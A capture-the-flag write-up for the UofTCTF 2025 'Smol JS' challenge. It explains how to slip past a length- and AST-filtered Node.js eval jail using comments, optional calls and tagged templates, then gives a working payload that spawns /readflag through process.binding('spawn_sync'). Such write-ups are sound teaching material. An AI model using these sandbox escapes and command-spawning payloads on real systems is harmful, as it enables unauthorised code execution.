UofTCTF 2025: Smol JS
Reading long lines of code is overrated. At SmolCorp™ we believe in the power of simplicity. Not everyone is great at writing smol code though, so I made a tool to help you out.
Author: SteakEnthusiast
We’re given the source code of a challenge server:
chal.js
import * as parser from "@babel/parser";
import _traverse from "@babel/traverse";
import _generate from "@babel/generator";
import * as _minify from "babel-minify";
import readline from "readline";
const minify = _minify.default;
const traverse = _traverse.default;
class Jail {
constructor() {
this.rl = readline.createInterface({
input: process.stdin,
output: process.stdout,
});
this.promptForInput().then((input) => {
this.processInput(input);
this.rl.close();
});
}
promptForInput() {
return new Promise((resolve) => {
this.rl.question("Enter JavaScript code (one line): ", resolve);
});
}
processInput(input) {
try {
const unminifiedCode = input;
const parsedAst = this.parseCodeToAST(unminifiedCode);
const isSafe = this.noBadNodes(parsedAst);
if (!isSafe) {
throw new Error("Unsafe code detected!");
}
// I'll help you make smol code :)
const {
code: minifiedCode
} = this.minifyCode(unminifiedCode);
if (!minifiedCode || minifiedCode.length === 0) {
throw new Error("Minified code is empty");
}
const codeToEvaluate = this.chooseCode(unminifiedCode, minifiedCode);
if (codeToEvaluate.length > 23) {
console.log("not smol enough");
return;
}
try {
eval(codeToEvaluate);
} catch {
console.log("Error during evaluation");
}
} catch (error) {
console.log("Error:", error.message);
}
}
chooseCode(code1, code2) {
return code1.length < code2.length ? code1 : code2;
}
parseCodeToAST(code) {
return parser.parse(code, {
sourceType: "module",
plugins: [],
});
}
noBadNodes(ast) {
let hasBadNodes = false;
traverse(ast, {
"CallExpression|AssignmentExpression"(path) {
hasBadNodes = true;
path.stop();
},
});
return !hasBadNodes;
}
minifyCode(code) {
try {
const result = minify(code, {});
if (result.error) {
throw result.error;
}
return result;
} catch (error) {
throw new Error("Error during minification: " + error.message);
}
}
}
new Jail();
And a dockerfile which tells us there is an executable at /readflag
to run to read the flag:
Dockerfile
FROM node:20-bullseye-slim AS app
RUN apt-get update && apt-get install -y socat && rm -rf /var/lib/apt/lists/*
RUN apt-get update && apt-get install -y gcc make
COPY ./readflag.c /readflag.c
RUN gcc /readflag.c -o /readflag
RUN rm /readflag.c
RUN chmod 701 /readflag
RUN mkdir -p /challenge
WORKDIR /challenge
COPY package.json .
COPY chal.js .
RUN npm install
FROM pwn.red/jail
COPY --from=app / /srv
RUN mkdir -p /srv/app
COPY --chmod=555 ./run /srv/app/run
ENV JAIL_PIDS=40 JAIL_MEM=100M JAIL_TIME=120
We get arbitrary eval
, but the code (once minified) has to be 23 bytes or smaller… and we can’t use calls or assignments in it.
We can get some insight from last year’s UofTCTF challenges: one challenge, JS Blacklist also banned calls, and intended for you to replace them with optional calls (that is, replace f(args)
with f?.(args)
).
So if we figure out a way to get code from somewhere else, we can execute that afterwards using eval?.()
.
Remember when I said “we get arbitrary eval
”? The specific line is exactly what you’d expect: eval(codeToEvaluate);
. But if you don’t know this quirk of JS, what you might not expect is… eval
isn’t actually just a function.
When you “call” eval
directly, with eval()
, the code gets evaluated as if it was at the position of the eval. More specifically, we have access to the locals in that scope.
Or in other words… we can use unminifiedCode
, or input
in our payload. So, simply put our code in our input in such a way that it gets removed by the minification, then put a small bit of code to extract our bigger payload and eval it.
What gets removed by minification? Well, comments sure do.
My first instinct was to just put our eval
, then //
, then the larger payload. However…
Let’s start with eval?.(input.substr?.(28))//whatever
, which is too long but would work since we know it doesn’t include call expressions.
You’ll find, if you add a console.log
to the challenge code, that the above minifies to eval?.(input.substr?.(28));
. Great, comments are indeed removed. But note the semicolon: this means we’re actually limited to 22 characters, not 23! Since we’re currently at 26 characters, that gives us 4 characters to shave off.
First, let’s use an equivalent function with a shorter name: String.prototype.slice
instead of String.prototype.substr
. That brings us to eval?.(input.slice?.(27))//whatever
. 3 more characters to shave off.
The next trick is that there’s actually another way to call functions, other than standard call expressions and optional call expressions. This one is however limited in how you can pass arguments: the first argument has to be an array of strings.
…but you can check for yourself that "abc".slice(["1"])
returns "bc"
. So what we can use is a tagged literal: eval?.(input.slice`25`)//whatever
. We’re very close! 23 characters, only one left to shave off. We’re pretty much at the limit now though: the only place left to shave off characters is inside the argument to slice.
In other words, we have to put the comment at the start instead. And with /*our code here//*/eval?.(input.slice`2`)
, we’re finally at 22 characters, and thus done.
I then just adapted from the payload to run an executable and print its output from the aforementioned JS Blacklist writeup:
/*
let result=process.binding("spawn_sync").spawn({
file:"/readflag",
args:[],
stdio:[
{type:"pipe",readable:true,writable:false},
{type:"pipe",readable:false,writable:true},
{type:"pipe",readable:false,writable:true},
],
});
let output=result.output[1].toString();console.log(output);
//*/eval?.(input.slice`2`)
(whitespace added for readability)
Enter that all on one line into the challenge server and the flag appears: uoftctf{5m4ll_v4r14bl3_n4m35_4nd_b16_c0mm3n75_f0r_7h3_w1n}
Home About Contact